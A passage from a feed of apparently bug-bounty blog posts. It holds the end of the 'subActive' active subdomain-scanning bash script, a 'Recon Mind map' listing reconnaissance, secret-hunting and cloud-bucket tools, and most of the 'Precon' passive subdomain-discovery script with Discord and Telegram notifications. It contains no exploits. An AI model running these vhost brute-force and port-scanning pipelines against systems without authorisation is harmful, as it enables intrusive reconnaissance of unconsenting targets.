&quot;$subdomains_list&quot; | httpx -csp-probe -status-code -retries 2 -no-color | anew &quot;csp_probed$postfix.txt&quot; | cut -d &#39; &#39; -f1 | unfurl -u domains | anew -q &quot;$output_dir/csp_subdomains$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br><br>echo -e &quot;${WHITE}Finding subdomains using CNAME${RESET}&quot;<br>log &quot;Finding subdomains using CNAME&quot;<br>dnsx -retry 3 -cname -l &quot;$subdomains_list&quot; &gt; &quot;$output_dir/cname-subdomains$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1  <br>echo -e &quot;${YELLOW}Completed TCC!${RESET}&quot;<br>log &quot;TCC completed&quot;<br><br># VHOST<br>echo -e &quot;${WHITE}Scanning using HostHunter...${RESET}&quot;<br>log &quot;Scanning using HostHunter&quot;<br>hosthunter.py &quot;$ip_addresses&quot; &gt; &quot;$output_dir/hosthunter-output$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1  <br><br>echo -e &quot;${WHITE}Bruteforcing using Gobuster...${RESET}&quot;<br>log &quot;Bruteforcing using Gobuster&quot;<br>gobuster vhost -u &quot;$domain&quot; -t 50 -w &quot;$vhost_wordlist&quot; -s &quot;200,204,301,302,307,401,403&quot; -o &quot;$output_dir/vhost-brute-output$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1  <br>echo -e &quot;${YELLOW}VHOST scan completed!${RESET}&quot;<br>log &quot;VHOST scan completed&quot;<br><br>echo -e &quot;${WHITE}Running Unimap on common ports...${RESET}&quot;<br>log &quot;Running Unimap on common ports&quot;<br>sudo unimap --fast-scan -f &quot;$subdomains_list&quot; --ports &quot;$COMMON_PORTS_WEB&quot; -k --url-output &gt; &quot;$output_dir/unimap_commonweb$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1  <br><br>echo -e &quot;${WHITE}Checking web applications running on open ports...${RESET}&quot;<br>log &quot;Checking web applications running on open ports&quot;<br>cat &quot;$output_dir/unimap_commonweb$postfix.txt&quot; | httpx -random-agent -status-code -retries 2 -no-color | cut -d &#39; &#39; -f1 | tee &quot;$output_dir/probed_common_ports$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1  <br>echo -e &quot;${YELLOW}Completed scanning common ports!${RESET}&quot;<br>log &quot;Scanning common ports completed&quot;<br><br># Web probing<br>echo -e &quot;${WHITE}Running Unimap on common ports again...${RESET}&quot;<br>log &quot;Running Unimap on common ports again&quot;<br>sudo unimap --fast-scan -f &quot;$subdomains_list&quot; --ports &quot;$COMMON_PORTS_WEB&quot; -k --url-output &gt; &quot;$output_dir/unimap_commonweb$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1  <br><br>echo -e &quot;${WHITE}Checking web applications running on open ports...${RESET}&quot;<br>log &quot;Checking web applications running on open ports&quot;<br>cat &quot;$output_dir/unimap_commonweb$postfix.txt&quot; | httpx -random-agent -status-code -retries 2 -no-color | cut -d &#39; &#39; -f1 | tee &quot;$output_dir/probed_common_ports$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1  <br><br>echo -e &quot;${WHITE}Concatenating all the files into all-subdomains$postfix${RESET}&quot;<br>log &quot;Concatenating all the files into all-subdomains$postfix&quot;<br>cat *$postfix.txt | sort -u &gt; &quot;all-subdomains$postfix.txt&quot;<br>log &quot;All subdomains have been saved into all-subdomains$postfix.txt&quot;<br><br>rm *$postfix.txt<br>log &quot;Deleted all the files generated by tools&quot;<br><br>echo -e &quot;${YELLOW}Scan completed!${RESET}&quot;<br>log &quot;Scan completed&quot;<br><br># Output<br>if [ -z &quot;$output_dir&quot; ]; then<br>    echo -e &quot;${GREEN}Output saved to $domain directory${RESET}&quot;<br>    log &quot;Output saved to $domain directory&quot;<br>else<br>    echo -e &quot;${GREEN}Output saved to $output_dir${RESET}&quot;<br>    log &quot;Output saved to $output_dir directory&quot;<br>fi</pre><p><strong>Steps to use subActive :</strong></p><ul><li>Copy above code and paste it into any text editor and save it with name subActive.sh</li><li>Open terminal where script is saved and hit following command :</li></ul><pre>chmod +x subActive.sh</pre><ul><li>above command gives executable permissions .</li><li>Now time to run subActive with following command and by specifying following parameters:</li></ul><pre>./subActive -d example.com -sL subdomains.txt -pw dns-wordlist-to-bruteforce -vw vhost-wordlist.txt -p permutations-list.txt -ip ip-addresses.txt -r resolvers.txt -o output-directory-name</pre><ul><li>All the options are required to run the script.</li><li>It also requires ip-addresses.txt file to perform VHOST scan so first get Ip-addresses about the target by performing reverse-domain on the target.</li></ul><blockquote><strong>You can clone the repository from Github &amp; don’t forget to follow me on social media</strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://x.com/thefellowhacker"><strong>Twitter</strong></a><strong> 🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>hackertam1</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xoK7FeTriIaZ90kUNhKeug.png" /><figcaption>subActive by Tahir Mujawar</figcaption></figure><p>But hey, “SubActive” isn’t just a script, it’s a journey. It’s taken weeks of research and dedication to bring it to life. And your support means everything. So, don’t be shy — <strong>share, follow, and show some love</strong>. Your encouragement keeps this adventure going.</p><p>And if you’re hungry for more, don’t forget to check out “<a href="https://medium.com/@tamhacker1/hack-like-a-pro-precons-simple-subdomain-secrets-a87e5b741b0b">Precon</a>,” its passive counterpart. Together, they make a formidable duo in your cybersecurity toolkit.</p><p>That’s all from the story of subActive.</p><p><strong>Bye byeeee Hackers </strong>👋 <strong>! Happy Hacking </strong>😌</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtWN_LYNMBWwgLd0xJWAvA.jpeg" /><figcaption>subActive by Tahir Mujawar</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=447769fdb6e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Hacker’s Mind -Recon Mind map]]></title>
            <link>https://medium.com/@thefellowhacker/the-hackers-mind-recon-mind-map-39d14e3750fb?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/39d14e3750fb</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[mindmap]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Fri, 17 May 2024 05:03:25 GMT</pubDate>
            <atom:updated>2024-07-19T07:32:02.427Z</atom:updated>
            <content:encoded><![CDATA[<p>By <strong>Tahir Mujawar</strong>, Certified Ethical Hacker &amp; Cyber Security Researcher</p><figure><img alt="Recon mind map by Tahir Mujawar" src="https://cdn-images-1.medium.com/max/1024/1*KS2yZIWdPkt-tl2npUirDA.jpeg" /><figcaption>Recon Mind map by Tahir Mujawar</figcaption></figure><p><strong>Hey</strong> 👋 cyber adventurers! <strong>Tahir Mujawar</strong> here, introducing the Recon Mind map — a strategic guide for navigating cyber security’s complexities. Crafted meticulously, it’s our blueprint for reconnaissance, leading us through subdomains, tech identification, and content discovery. Let’s uncover cyberspace’s secrets and forge a safer digital frontier together with the Recon Mind map.</p><p><strong>Recon isn’t just about gathering information — it’s about gaining insight, foresight, and the upper hand against unseen threats.</strong></p><p>The purpose of creating the <strong>Recon Mind map</strong> is to streamline learning. With an abundance of resources available online, enthusiasts like myself often find it challenging to discern what to focus on. The Recon Mind map encompasses nearly all the essential topics for web application reconnaissance, providing clarity and direction in our learning journey.</p><p><strong>Recon mind map</strong> encompasses the following elements:</p><blockquote><strong><em>Network Infrastructure Mapping</em></strong></blockquote><p>1. Topology Mapping</p><ul><li>NetBrain</li><li>NetCrunch</li><li>SolarWinds</li></ul><p>2. Firewall Identification</p><ul><li>WafW00f</li><li>Nmap NSE</li></ul><p>3.<strong> </strong>Load Balancers</p><ul><li>lbd</li></ul><p>4. ASN</p><ul><li>bgp.he.net</li><li>Hacker Target</li><li>Amass</li></ul><p>5. CIDR Range</p><ul><li>Asn Lookup</li><li>Mapcidr</li><li>Amass Intel</li><li><a href="http://ipaddressguide.com/">ipaddressguide.com</a></li></ul><p>6. IP Blocks / Subnets</p><ul><li>viewdns</li><li>MxTools</li><li>whois.arin.net</li><li>whoxy</li><li>who.is</li><li>lopseg</li><li>shodan.io</li></ul><p>7. IP Addresses</p><p>Open Ports, Services, Versions</p><ul><li>Masscan</li><li>Naabu</li><li>Rustscan</li><li>Nmap</li><li>Sandmap</li><li>Scan Cannon</li></ul><p>8. Cloud</p><ul><li>Home Lister Directory</li></ul><blockquote><strong><em>Subdomain Enumeration</em></strong></blockquote><h4>* Horizontal / Acquisitions Enumeration</h4><ul><li>WhoisXMLAPI</li><li>CrunchBase</li><li>Wikipedia</li><li>ChatGpt</li></ul><h4>* vertical Enumeration</h4><p><em>Passive Enumeration :</em></p><ol><li>Passive Sources</li></ol><ul><li>Chaos</li><li>Amass</li><li>Subfinder</li><li>Sublist3r</li><li>Assetfinder</li><li>OneForAll</li><li>Findomain</li><li>Crobat</li><li>Knockpy</li><li>Github-Subdomains</li></ul><p>2. Certificate Logs</p><ul><li>crt.sh</li><li>tls.bufferover.run</li></ul><p>3.<strong> </strong>Recursive Enumeration</p><ul><li>Passive Sources</li></ul><h4>* Active Enumeration</h4><ol><li>DNS Brute forcing</li></ol><ul><li>Puredns</li><li>Cewl</li><li>FFUF</li></ul><p>2.<strong> </strong>Permutations</p><ul><li>Gotator</li></ul><p>3. JS / Source Code Scraping</p><ul><li>Linkfinder</li><li>GetJS</li><li>Gospider</li></ul><p>4.<strong> </strong>Google Analytics</p><ul><li>Analytics Relationships</li></ul><p>5. TLS, CNAME probing</p><ul><li>Cero</li><li>httpx</li><li>dnsx</li></ul><p>6. VHOST probing</p><ul><li>Virtual Host Scanner</li><li>Host Hunter</li></ul><p>7. Web probing</p><ul><li>Unimap</li><li>httpx</li></ul><blockquote><strong><em>Technology Identification</em></strong></blockquote><ul><li>Whatweb</li><li>Wappalyzer</li><li>Netcraft</li><li>Builtwith</li><li>Fingerprintx</li><li>Retire.JS</li></ul><blockquote><strong><em>Discovery</em></strong></blockquote><p>1. URLs</p><ul><li>GAU</li><li>Linx</li><li>Waybackurl</li><li>hakrawler</li><li>Gospider</li><li>URLgrab</li></ul><p>2. Parameters</p><ul><li>Param-Miner</li><li>x8</li><li>Parameth</li><li>Arjun</li><li>Github-Endpoints</li></ul><p>3. JS Enumeration</p><ul><li>Secret Finder</li><li>JS Recon</li><li>Link Finder</li><li>Wayback URLs</li><li>JS Scan</li></ul><p>4. Directory &amp; file Enumeration</p><ul><li>FFUF</li><li>Dirb</li><li>Gobuster</li><li>DirSearch</li><li>WFuzz</li></ul><p>5. Google FU</p><blockquote><strong><em>Github</em></strong></blockquote><ul><li>Trufflehog</li><li>GitDorker</li><li>githound</li><li>GitGrabber</li><li>GitLeakes</li><li>Repo-Supervisor</li></ul><blockquote><strong><em>Buckets</em></strong></blockquote><ul><li>S3 Scanner</li><li>S3 Bucket Finder</li><li>GrayHatWarfare</li><li>Lazy S3</li><li>AWS Bucket Dump</li><li>CloudBrute</li></ul><blockquote><strong><em>CMS</em></strong></blockquote><ul><li>Wpscan</li><li>CMSmap</li><li>Joomscan</li></ul><blockquote><strong><em>OSINT &amp; Social Engineering</em></strong></blockquote><ul><li>OSINT Framework</li><li>theHarvester</li><li>Recon-ng</li><li>Maltego</li><li>MOSINT</li><li>SpiderFoot</li></ul><blockquote><strong><em>Screenshot</em></strong></blockquote><ul><li>EyeWitness</li><li>LazyShot</li><li>Aquatone</li><li>Web shot</li><li>Eyeballer</li></ul><p>Here’s the <strong>Mind map</strong> i was talking about, Use medium app or open it in your computer/laptop for better visibility. Ping me on LinkedIn to get PNG.</p><blockquote><strong>I look forward to connecting with you on social media.</strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://www.x.com/thefellowhacker/"><strong>thefellowhacker</strong></a><strong> 🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><figure><img alt="Recon mind map by Tahir Mujawar" src="https://cdn-images-1.medium.com/max/1024/1*ATlVv1-yzHm3qrxlkxHJzw.png" /><figcaption><strong>Recon mind map by Tahir Mujawar</strong></figcaption></figure><p>Researching takes considerable time. If you found this helpful, a <strong>Like</strong>, <strong>share</strong>, or <strong>follow</strong> would be greatly appreciated. <strong>Your support fuels</strong> our cyber journey!</p><p><strong>Happy Hacking ! Bye Bye Hackers </strong>👋</p><figure><img alt="Recon mind map by Tahir Mujawar" src="https://cdn-images-1.medium.com/max/1024/1*_UnLYHmhv1YbCC46YBY9Uw.jpeg" /><figcaption>👋 <strong>BByeee…!</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39d14e3750fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[‍ Hack Like a Pro: Precon’s Simple Subdomain Secrets]]></title>
            <link>https://medium.com/@thefellowhacker/hack-like-a-pro-precons-simple-subdomain-secrets-a87e5b741b0b?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/a87e5b741b0b</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Sun, 05 May 2024 07:30:19 GMT</pubDate>
            <atom:updated>2024-07-19T07:33:10.565Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By </em><strong><em>Tahir Mujawar</em></strong><em>, Certified Ethical Hacker &amp; Cybersecurity Researcher</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5EexoFPV2d4p_-waMNrsQ.jpeg" /><figcaption><strong>Hello Hackers </strong>👨🏻‍💻</figcaption></figure><p>Hello 👋, I’m <strong>Tahir Mujawar</strong>, the mind behind <strong>Precon</strong>, a bash script revolutionizing subdomain discovery in cybersecurity. With a passion for coding and cybersecurity, I’ve crafted Precon to streamline the process, emphasizing customization, notification integration, and error handling. Join me in shaping a safer digital landscape with Precon.</p><h3><strong>Precon</strong></h3><p>A month ago, I found myself frustrated with the repetitive nature of my reconnaissance tasks. I wanted to automate them but felt overwhelmed by the multitude of tools available. Determined to streamline the process, I dove into research, exploring each tool’s capabilities. With a focus on passive subdomain discovery, I sifted through methodologies from various sources, including Medium and security forums.</p><p>Despite the secrecy surrounding competitive strategies, I persisted, gathering insights from platforms like ChatGPT and HackerGPT. The result? Precon (Passive Recon), a bash script designed to simplify reconnaissance for beginners and myself. In the world of bug bounty hunting, where choices abound like flowers in a garden, Precon aims to be the guiding hand, helping newcomers navigate the terrain and take that crucial step forward.</p><p><strong>FEATURES</strong></p><p>Precon is a subdomain discovery bash script that discovers subdomains for websites passively by using various Tools.</p><ol><li><strong>Find Subdomains Easily:</strong> Precon effortlessly discovers subdomains using tools like amass, assetfinder, and sublist3r and many more without alerting potential attackers.</li><li><strong>Stay Updated Anywhere:</strong> Get notifications on Discord or Telegram about new subdomains found, keeping you informed wherever you are.</li><li><strong>Tailor to Your Needs:</strong> Customize Precon by adding or changing tools to suit your specific requirements, making it adaptable to your workflow.</li><li><strong>Handle Big Tasks with Ease:</strong> Whether it’s one domain or a long list, Precon smoothly handles subdomain discovery, saving you time and effort.</li><li><strong>Smooth Problem Solving:</strong> Precon keeps things running smoothly by logging errors in detail, making troubleshooting straightforward and hassle-free.</li></ol><p><em>Without wasting further time let’s take a look how </em><strong><em>Precon </em></strong><em>script looks like,</em></p><h3>Prerequisites</h3><p>Before we jump into automating the process of finding subdomains, let’s make sure we’ve got all the tools we need installed. If you don’t already have them, just run these commands one after the other to get them installed.</p><pre>Here are the links to the tools used in Precon:<br><br>1. amass: GitHub - https://github.com/OWASP/Amass<br>2. assetfinder: GitHub - https://github.com/tomnomnom/assetfinder<br>3. subfinder: GitHub - https://github.com/projectdiscovery/subfinder<br>4. sublist3r: GitHub - https://github.com/aboul3la/Sublist3r<br>5. chaos: GitHub - https://github.com/projectdiscovery/chaos-client<br>6. crt.sh: Website - we will fetch crt.sh results with curl <br>7. findomain: GitHub - https://github.com/Edu4rdSHL/findomain<br>8. knockpy: GitHub - https://github.com/guelfoweb/knock<br>9. Crobat: go get github.com/cgboal/sonarsearch/cmd/crobat<br>10. figlet: GitHub - https://github.com/cmatsuoka/figlet<br>11. sudo apt update &amp;&amp; sudo apt install jq<br>Install all the tools from here if you don&#39;t have any</pre><h4>Here is the bash script i was talking about 🤩 🤌</h4><p>Bash Script Code</p><pre>#!/bin/bash<br><br># Define colors<br>RED=$(tput setaf 1)<br>GREEN=$(tput setaf 2)<br>YELLOW=$(tput setaf 11)<br>CYAN=$(tput setaf 6)<br>WHITE=$(tput setaf 15)<br>RESET=$(tput sgr0) # Reset color<br><br># Function to display script usage<br>display_usage() {<br><br># Check if figlet is installed<br>if ! command -v figlet &amp;&gt; /dev/null; then<br> echo &quot;Figlet is not installed. Installing...&quot;<br> # Install figlet<br> sudo apt-get update<br> sudo apt-get install -y figlet<br>else<br> color_code=&quot;\033[31m&quot; # Red color code<br> reset_color=&quot;\033[0m&quot; # Reset color code<br><br> figlet_text=$(figlet &quot;Precon&quot;)<br> colored_text=&quot;${color_code}${figlet_text}${reset_color}&quot;<br> echo -e &quot;$colored_text&quot;<br><br> echo &quot;${YELLOW}# Coded by Tahir Mujawar${RESET}&quot;<br> echo<br>fi<br> <br> echo &quot;Precon is a subdomain discovery bash script that discovers subdomains for websites passively by using various Tools.&quot;<br> <br> echo -e &quot;Usage: $0 [options]&quot;<br> echo<br> echo &quot;Options:&quot;<br> echo &quot; -h, --help Display this help message&quot;<br> echo &quot; -d, --domain &lt;name&gt; Specify a single domain name to enumerate it&#39;s subdomains&quot;<br> echo &quot; -dL, --domain-list Specify a file containing a list of domain names&quot;<br> echo &quot; -o, --output &lt;directory&gt; Specify output directory&quot;<br> echo<br> echo &quot;Example: $0 -d example.com -o /path/to/output&quot;<br> exit 1<br>}<br><br># Function for logging<br>log() {<br> local log_file=&quot;recon.log&quot;<br> local timestamp=$(date +&quot;%Y-%m-%d %T&quot;)<br> echo &quot;[$timestamp] $1&quot; &gt;&gt; &quot;$log_file&quot;<br> local message=&quot;$1&quot;<br> local color=&quot;$2&quot;<br>}<br><br># Default output filename is domain name<br>output_file=&quot;&quot;<br><br># Default domain name and domain list file<br>domain=&quot;&quot;<br>domain_list=&quot;&quot;<br><br># Default output directory is empty (current directory)<br>output_dir=&quot;&quot;<br><br># Parse command line options<br>while [[ $# -gt 0 ]]; do<br> key=&quot;$1&quot;<br> case $key in<br> -h|--help)<br> display_usage<br> ;;<br> -d|--domain)<br> domain=&quot;$2&quot;<br> shift<br> ;;<br> -dL|--domain-list)<br> domain_list=&quot;$2&quot;<br> shift<br> ;;<br> -o|--output)<br> output_dir=&quot;$2&quot;<br> shift<br> ;;<br> *)<br> echo -e &quot;${RED}Unknown option: $1 ${RESET}&quot;<br> display_usage<br> ;;<br> esac<br> shift<br>done<br><br># Enable immediate exit on error<br>set -e<br><br># Validate input parameters<br>if [ -z &quot;$domain&quot; ] &amp;&amp; [ -z &quot;$domain_list&quot; ]; then<br> log &quot;${RED}Error: You must specify either a domain name or a domain list file.${RESET}&quot;<br> display_usage<br>fi<br><br># Convert relative paths to absolute paths<br>if [ -n &quot;$domain_list&quot; ]; then<br> domain_list=&quot;$(realpath &quot;$domain_list&quot;)&quot;<br>fi<br><br># Create output directory if provided<br>if [ -n &quot;$output_dir&quot; ]; then<br> mkdir -p &quot;$output_dir&quot; || { log &quot;${RED}Error: Could not create output directory: $output_dir ${RESET}&quot;; exit 1; }<br> cd &quot;$output_dir&quot; || { log &quot;${RED}Error: Could not change directory to: $output_dir ${RESET}&quot;; exit 1; }<br>fi<br><br># Function to run recon tools for a domain<br>run_recon() {<br># Check if figlet is installed<br>if ! command -v figlet &amp;&gt; /dev/null; then<br> echo &quot;Figlet is not installed. Installing...&quot;<br> # Install figlet<br> sudo apt-get update<br> sudo apt-get install -y figlet<br>else<br> color_code=&quot;\033[31m&quot; # Red color code<br> reset_color=&quot;\033[0m&quot; # Reset color code<br><br> figlet_text=$(figlet &quot;Precon&quot;)<br> colored_text=&quot;${color_code}${figlet_text}${reset_color}&quot;<br> echo -e &quot;$colored_text&quot;<br><br> echo &quot;${YELLOW}# Coded by Tahir Mujawar${RESET}&quot;<br> echo<br>fi<br><br> local current_domain=&quot;$1&quot;<br> log &quot;${WHITE}Enumerating Subdomains for domain: $current_domain ${RESET}&quot; <br> local domain_output_dir=&quot;$current_domain&quot;<br> mkdir -p &quot;$domain_output_dir&quot;<br> cd &quot;$domain_output_dir&quot; || { log &quot;${RED}Error: Could not change directory to: $domain_output_dir ${RESET}&quot;; exit 1; }<br><br> #Run recon tools for the domain<br> echo -e &quot;${WHITE}Enumerating Subdomains for domain: $current_domain ${RESET}&quot;<br> log &quot;${WHITE}Enumerating Subdomains for domain: $current_domain ${RESET}&quot; <br> <br> # Run each recon tool sequentially for the domain<br> echo &quot;Enumerating subdomains using Assetfinder&quot;<br> log &quot;Running assetfinder for domain: $current_domain&quot;<br> assetfinder &quot;$current_domain&quot; &gt; assetfinder_Tool.txt 2&gt;/dev/null || true<br> <br> echo &quot;Enumerating subdomains using Subfinder&quot;<br> log &quot;Running subfinder for domain: $current_domain&quot;<br> subfinder -d &quot;$current_domain&quot; &gt; subfinder_Tool.txt 2&gt;/dev/null || true<br> <br> echo &quot;Enumerating subdomains using Sublist3r&quot;<br> log &quot;Running sublist3r for domain: $current_domain&quot;<br> sublist3r -d &quot;$current_domain&quot; -o sublist3r_Tool.txt &gt; /dev/null 2&gt;&amp;1 || true<br> <br> echo &quot;Enumerating subdomains using Chaos&quot;<br> log &quot;Running chaos for domain: $current_domain&quot;<br> chaos -d &quot;$current_domain&quot; -silent -key {YOUR_CHAOS_API_KEY_HERE} -o chaos_Tool.txt &gt; /dev/null 2&gt;&amp;1 || true<br> <br> echo &quot;Enumerating subdomains using Crtsh&quot;<br> log &quot;Running crtsh for domain: $current_domain&quot;<br> curl -s &quot;https://crt.sh/?q=%.$current_domain&quot; | sed &#39;s/&lt;[^&gt;]*&gt;//g&#39; | grep -Eo &quot;[a-zA-Z0-9._-]+\.$current_domain&quot; | sed &#39;/^$/d&#39; &gt; crtsh_Tool.txt<br> <br> echo &quot;Enumerating subdomains using Crobat&quot;<br> log &quot;Running crobat for domain: $current_domain&quot;<br> crobat -s &quot;$current_domain&quot; -o crobat_Tool.txt 2&gt;/dev/null || true<br> <br> echo &quot;Enumerating subdomains using Findomain&quot;<br> log &quot;Running findomain for domain: $current_domain&quot;<br> findomain -t &quot;$current_domain&quot; -u findomain_Tool.txt &gt; /dev/null 2&gt;&amp;1 || true<br> <br> echo &quot;Enumerating subdomains using Knockpy&quot;<br> log &quot;Running knockpy for domain: $current_domain&quot;<br> knockpy.py -d &quot;$current_domain&quot; &gt; knockpy_Tool.txt 2&gt;/dev/null || true<br> <br> echo &quot;Enumerating subdomains using amass&quot;<br> log &quot;Running amass for domain: $current_domain&quot;<br> amass enum -passive -d &quot;$current_domain&quot; &gt; amass_Tool.txt 2&gt;/dev/null || true<br> #add more tools according to your preferences<br><br> # Concatenate and sort unique subdomains<br> cat *_Tool.txt | sort -u &gt; $current_domain-subdomains.txt<br> #Remove messy files generated by tools <br> rm *_Tool.txt<br> # Check if any .json files exist in the directory usually generated by crtsh <br> if ls *.json &gt;/dev/null 2&gt;&amp;1; then<br> # Remove all .json files<br> rm *.json<br> echo &quot;Removed all .json files from the directory.&quot;<br> fi<br> <br> #Display Completion Message<br> if [ -z &quot;$output_dir&quot; ]; then<br> echo -e &quot;${WHITE}Precon completed. Output saved to: $current_domain ${RESET}&quot;<br> log &quot;${WHITE}Precon completed. Output saved to: $current_domain ${RESET}&quot; <br>else<br> echo -e &quot;${WHITE}Precon Completed. Output saved to: $output_dir ${RESET}&quot;<br> log &quot;${WHITE}Precon completed. Output saved to: $output_dir ${RESET}&quot; <br>fi<br> <br> # Move back to the output directory<br> cd .. || { log &quot;${RED}Error: Could not change directory to: $output_dir ${RESET}&quot;; exit 1; }<br>}<br><br># Run recon for a single domain if provided<br>if [ -n &quot;$domain&quot; ]; then<br> run_recon &quot;$domain&quot;<br> current_domain=&quot;$domain&quot;<br>fi<br><br># Run recon for domains listed in the domain list file if provided<br>if [ -n &quot;$domain_list&quot; ]; then<br> if [ ! -f &quot;$domain_list&quot; ]; then<br> log &quot;${RED}Error: Domain list file not found: $domain_list ${RESET}&quot;<br> log &quot;${YELLOW}Please make sure the domain list file exists and provide the correct file name.${RESET}&quot;<br> exit 1<br> fi<br><br> # Read domains from the file and run recon for each domain in sequence<br> while IFS= read -r line; do<br> run_recon &quot;$line&quot;<br> current_domain=&quot;$line&quot;<br> done &lt; &quot;$domain_list&quot;<br> # Cleanup: Remove *.txt files after all domains are processed usually generated by crtsh<br> rm -f *_Tool.txt<br> if ls *.json &gt;/dev/null 2&gt;&amp;1; then<br> # Remove all .json files<br> rm *.json<br> echo &quot;Removed all .json files from the directory.&quot;<br> fi<br> <br>fi<br><br> #Send Notifications - ( This part is optional ) you can remove if you sit in front of your beast and do all the work :)<br> <br> # Get current date and time<br> current_datetime=$(date +&quot;%Y-%m-%d %H:%M:%S&quot;)<br><br> # Your message<br> message=&quot;Precon for $current_domain Completed $current_datetime&quot;<br><br> # Webhook URL<br> webhook_url=&quot;YOUR_WEBHOOK_URL_HERE&quot;<br><br> # Send message to Discord silently<br> response=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; -X POST -H &quot;Content-Type: application/json&quot; -d &quot;{\&quot;content\&quot;:\&quot;$message\&quot;}&quot; &quot;$webhook_url&quot; 2&gt;/dev/null)<br><br> # Check for any errors<br> if [[ $response == &quot;200&quot; || $response == &quot;204&quot; ]]; then<br> echo &quot;Notification sent successfully to Discord server for $current_domain.&quot;<br> else<br> echo &quot;Failed to send notification to Discord server. HTTP Error code: $response&quot;<br> fi<br><br> #Send Notification to Telegram Bot<br> # Telegram Bot API token<br> telegram_token=&quot;YOUR_TELEGRAM_BOT_TOKEN_HERE&quot;<br><br> # Telegram chat ID<br> chat_id=&quot;YOUR_TELEGRAM_CHAT_ID_HERE&quot;<br><br> # Your message for Telegram Bot <br> message=&quot;Precon completed for $current_domain at $current_datetime&quot;<br><br> # Send message to Telegram Bot<br> telegram_response=$(curl -s -X POST &quot;https://api.telegram.org/bot$telegram_token/sendMessage&quot; -d &quot;chat_id=$chat_id&quot; -d &quot;text=$message&quot;)<br> # Check for any errors<br> if [[ $telegram_response =~ &quot;\&quot;ok\&quot;:true&quot; ]]; then<br> echo &quot;Notification sent successfully to Telegram Bot for $current_domain&quot;<br> else<br> echo &quot;Failed to send message. Error: $telegram_response&quot;<br> fi</pre><p><strong>How to Install Precon :</strong></p><ol><li>Copy Bash code from above section and save it in a file with name <strong>Precon.sh</strong></li><li>Open terminal and hit the following command to provide executable permission to the bash script.</li></ol><pre>chmod +x Precon.sh</pre><p>3. You’re ready to go now :) Check script usage by hitting <strong>./Precon.sh</strong> in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ylZ_RJ7R4NMh2qPLhHlQTQ.png" /><figcaption><strong>Precon Usage</strong></figcaption></figure><p>4. You can check if it works fine by performing dummy scan like i did 😌</p><pre>./Precon.sh -d example.com -o example.com-subdomains</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjWyKpbE3lJnhQBOUufg8w.png" /><figcaption><strong>Precon by — Tahir Mujawar</strong></figcaption></figure><ul><li><strong>Wait….! </strong>we forget something 🙆‍♂️ To setup<strong> Discord </strong>right…? 🤔</li></ul><p>yes we forget to setup <strong>Discord</strong>/<strong>Telegram</strong> <strong>Bot</strong> where we will receive notifications whenever we will not in front of our beast, Let’s do it buddy 💁‍♂️</p><blockquote><strong>Steps to Set Up Discord Channel for Notifications: </strong>(You can comment out code if you don’t want get notifications, This part is optional but worth it 💯)</blockquote><p><strong>1. Create a Discord Server :</strong></p><ul><li>If you haven’t already, create a Discord server <a href="https://discord.com/">https://discord.com/</a> where you want to receive the notifications. You can create a new server or use an existing one.</li></ul><p><strong>2. Generate a Webhook URL :</strong></p><ul><li>In your Discord server, navigate to the channel where you want to receive the notifications.</li><li>Click on the settings icon (cogwheel/gear) next to the channel name and select “Integrations.”</li><li>Click on the “Create Webhook” button and follow the prompts to create a webhook for the channel.</li><li>Copy the generated webhook URL.</li></ul><p><strong>3. Configure Precon to Use Discord Webhook :</strong></p><ul><li>In the Precon script, replace YOUR_WEBHOOK_URL with the actual URL to configure Discord as the notification platform.</li></ul><p><strong>4. Test the Setup :</strong></p><ul><li>Run the Precon script with the specified parameters to initiate subdomain discovery.<br>Once the process is complete, check your Discord channel to ensure that you receive the notifications successfully.</li><li>By following these steps, you can set up a Discord channel to receive notifications from Precon, keeping you informed about the results of subdomain discovery in real-time.</li></ul><p><strong>‘Two is better than One’ right but why I’m saying this…any guesses? </strong><br>Let me clarify, we can configure Telegram Bot to receive Precon completion notifications on Telegram, Yes we can — Let’s see 